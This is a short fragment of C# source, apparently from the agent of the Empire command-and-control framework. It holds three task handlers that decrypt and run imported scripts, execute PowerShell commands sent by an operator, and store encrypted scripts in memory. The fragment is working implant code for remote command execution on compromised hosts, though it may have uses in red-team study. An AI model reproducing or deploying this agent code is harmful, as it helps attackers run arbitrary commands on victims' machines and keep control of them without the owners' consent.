//////////////////////////////////////////////////////////////////////////////// public Byte[] task121(Coms.PACKET packet) { Byte[] scriptBytes = EmpireStager.aesDecrypt(sessionKey, jobTracking.importedScript); String script = Encoding.UTF8.GetString(scriptBytes); String jobId = jobTracking.startAgentJob(script + ";" + packet.data); return(encodePacket(packet.type, "Job started: " + jobId, packet.taskId)); }
//////////////////////////////////////////////////////////////////////////////// public Byte[] task101(Coms.PACKET packet) { String prefix = packet.data.Substring(0, 15); String extension = packet.data.Substring(15, 5); String output = Agent.runPowerShell(packet.data.Substring(20)); return(encodePacket(packet.type, prefix + extension + output, packet.taskId)); }
//////////////////////////////////////////////////////////////////////////////// public Byte[] task120(Coms.PACKET packet) { Random random = new Random(); Byte[] initializationVector = new Byte[16]; random.NextBytes(initializationVector); jobTracking.importedScript = EmpireStager.aesEncrypt(sessionKeyBytes, initializationVector, Encoding.ASCII.GetBytes(packet.data)); return(encodePacket(packet.type, "Script successfully saved in memory", packet.taskId)); }